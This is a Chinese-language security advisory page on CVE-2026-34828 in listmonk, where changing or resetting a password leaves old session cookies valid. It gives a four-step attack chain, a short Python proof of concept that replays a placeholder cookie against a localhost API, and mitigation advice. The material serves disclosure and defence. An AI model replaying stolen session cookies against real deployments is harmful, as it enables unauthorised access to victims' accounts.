IPBUF安全漏洞报告
English
CVE-2026-34828 CVSS 7.1 高危

CVE-2026-34828 listmonk会话管理漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34828
漏洞类型
会话管理漏洞
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
listmonk

相关标签

会话管理listmonk逻辑漏洞身份认证绕过CVE-2026-34828

漏洞概述

listmonk在4.1.0至6.1.0之前的版本中存在会话管理缺陷。当用户重置或更改密码时,已颁发的认证会话未失效。攻击者若已获取有效会话Cookie,可在受害者密码变更后继续访问账户,破坏了账户恢复的安全性。

技术细节

该漏洞源于应用程序在处理敏感账户操作(如密码重置和密码更改)时,未实施会话撤销机制。在标准的身份验证安全模型中,凭证变更应使所有基于旧凭证建立的会话失效,强制重新认证。然而,listmonk受影响版本在密码更新后,保留了旧的会话令牌的有效性。攻击者利用此逻辑缺陷,通过劫持的会话Cookie,可以在受害者修改密码后仍维持对账户的未授权访问,从而绕过了账户回收的安全保障。

攻击链分析

STEP 1
1. 会话窃取
攻击者通过XSS、中间人攻击或其他手段获取受害者的有效会话Cookie。
STEP 2
2. 密码变更
受害者察觉到安全风险或主动修改账户密码,试图切断攻击者的访问权限。
STEP 3
3. 会话重放
由于漏洞存在,服务器未在密码变更后撤销旧会话。攻击者使用窃取的Cookie发送新的请求。
STEP 4
4. 维持访问
服务器接受旧Cookie,攻击者成功绕过身份验证,继续控制受害者账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2026-34828 # This script demonstrates that a session remains valid after a password change. TARGET_URL = "http://localhost:9000" # 1. Attacker has obtained a valid session cookie (e.g., via XSS or physical access) attacked_session_cookie = "valid_session_id_before_password_change" headers = { "Cookie": f"listmonk_session={attacked_session_cookie}" } # 2. Victim resets their password via the UI (Action performed by victim) # In a vulnerable version, the server does not invalidate existing sessions. # 3. Attacker attempts to access the account using the old session cookie response = requests.get(f"{TARGET_URL}/api/user", headers=headers) if response.status_code == 200: print("[+] Vulnerability Confirmed: Old session is still valid after password reset.") print(f"[+] Current User Info: {response.json()}") else: print("[-] Session invalid or vulnerability patched.")

影响范围

listmonk >= 4.1.0, < 6.1.0

防御指南

临时缓解措施
如果无法立即升级,管理员应考虑手动重启服务以清除所有活跃会话,并强制用户重新登录。同时,建议用户在修改密码后,主动在浏览器中点击“退出登录”以尝试清除本地会话(尽管这无法解决服务端未失效的问题)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表